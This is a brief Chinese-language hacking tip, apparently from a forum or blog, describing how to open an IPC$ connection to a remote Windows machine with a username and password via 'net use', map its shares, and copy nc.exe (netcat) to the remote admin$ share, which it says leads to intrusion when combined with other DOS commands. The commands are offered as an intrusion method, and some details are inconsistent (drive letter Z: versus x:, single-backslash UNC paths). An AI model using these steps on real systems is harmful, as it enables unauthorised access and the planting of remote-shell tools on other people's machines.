利用net share ipc$ 来打开管道,进而利用copy来传输文件
命令格式为net use x: \IP\sharename。上面一个表示把172.16.1.0IP的共享名为magic的目录影射为本地的Z盘。下面表示和172.16.0.2建立IPC$连接(net use \IP\IPC$ "password" /user:"name"),
建立了IPC$连接后,呵呵,就可以上传文件了:copy nc.exe \192.168.0.7\admin$,表示把本地目录下的nc.exe传到远程主机,结合其他DOS命令就可以实现入侵了。 |